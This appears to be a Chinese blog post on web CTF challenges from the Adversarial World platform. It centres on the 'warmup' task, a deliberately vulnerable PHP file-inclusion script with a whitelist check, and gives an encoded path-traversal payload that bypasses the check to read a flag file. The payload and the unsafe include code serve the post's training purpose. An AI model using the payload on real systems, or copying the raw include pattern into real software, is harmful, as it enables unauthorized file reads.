首页 > 其他分享 >攻防世界 web 难度2

攻防世界 web 难度2

时间:2022-11-23 16:38:23浏览次数:43  
标签:web return .. 攻防 echo file php page 难度

warmup

知识点

使用相对路径控制url读取方法

//eee.php
<?php
$f = $_GET["file"];
include($f);
?>

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {	// 或者不设置page,或者page不等于字符串时 就return 结束
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {	//page不能在数组里
				echo "yes1";
                return true;	//如果执行了return,则return 语句后面的内容将不会被执行了;
            }

            $_page = mb_substr(	//截取 $page 0,?出现的之前的字符串,相当于还是全部字符
                $page,
                0,
                mb_strpos($page . '?', '?')	//找page? 中第一次出现的位置 
            );
            if (in_array($_page, $whitelist)) {	//$_page 不能在白名单,否则return结束
                echo "yes2";
				return true;
            }

            $_page = urldecode($page);	// 解码一次$page
            $_page = mb_substr(	//这次要截取出白名单含有的内容,下面的if返回一个true,否则下面的if不匹配,后面就返回false。最后的if条件就不成立了
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {	/
                echo "yes3";
				return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])	//$file非空,并且是字符串,然后用checkfile过滤完
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];	//包含file文件
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

POC

source.php%3f../../../../../ffffllllaaaagggg

supersqli

过滤了select|update|delete|drop|insert|where|

Web_php_include

php_rce

Web_php_unserialize

Web_python_template_injection

Web2

command_execution

xff_referer

upload1

NewsCenter

标签:web,return,..,攻防,echo,file,php,page,难度
From: https://www.cnblogs.com/1zpeasy/p/16917186.html

相关文章

  • 【Web安全攻防从入门到精通】代码基础
    代码基础HTML基础HTML结构<!DOCTYPEhtml><!--声明为HTML5文档--><html><!--元素是HTML页面的根元素--><!--元素包含了文档的元(meta)数据<body>......
  • java web开发(和vue联合开发)
        前面我们谈到了很多次vue,也说到了vue的很多优点。比如说,vue实现了mvc中全部v的功能,也就是view的部分。这样,后端开发就变得很简单,前后端之间只要实现json数据的......
  • 模块化开发和webpack
    模块化开发和webpack模块化相关规范1、概述开发模式主要问题命名冲突文件依赖2、通过模块化解决上述问题模块化就是把单独的一个功能封装到-一个模块(文件)中,......
  • WebGoat部署到远端主机(注意事项)
    下载了一个WebGoat8.0版本,一开始在本机部署。但是想同时使用burpsuite,但是burpsuite要求jdk8.0。这个WebGoat8.0要求的jdk版本冲突。所以只能将WebGoat8.0部署到远端主机......
  • java web开发(aop编程)
        刚开始看到aop的时候,了解到它是面向切片,觉得还是挺拗口的。不知道应该怎么去理解怎么这么一个概念。后来想了一想,不如先看范例,直接从实例去理解aop或许更容易一......
  • java web开发(mysql开发)
        选择了java作为项目开发语言,一般就不再会选择商业数据库了,比如说sqlserver,oracle之类的,除非是项目有特殊需求。大多数情况下,开发者都会选择mysql作为应用数据......
  • java web开发(第一个spring程序)
        提到javaweb编程,好像spring就躲不开了。一般认为,spring有两个特征,分别是ioc、aop。两个英文单词的中文解释都比较拗口,一个称之为控制反转,一个是面向切面。对于......
  • java web开发(servlet传递数据给jsp)
        实际开发中,servlet多用于controller,jsp多用于view。之前,我们谈过了怎么把数据从jsp传递给servlet,即采用form+action的方法来完成这一目标。今天可以继续讨论下,s......
  • java web开发(jsp传递数据给servlet)
        有了servlet,有了jsp,其实就已经可以做很多的事情了。比如说表单的制作等等。在实际项目中,表单、表格都是很常见的输入选项。一个常见的场景,就是客户在输入数据之......
  • java web开发(第一个jsp工程)
        前面两期,我们谈到了怎么进行servlet的编写。一种方法是将传统的java工程改造成servlet工程;另外一种方法就是直接利用maven创建一个webapp工程。事实上呢,如果大......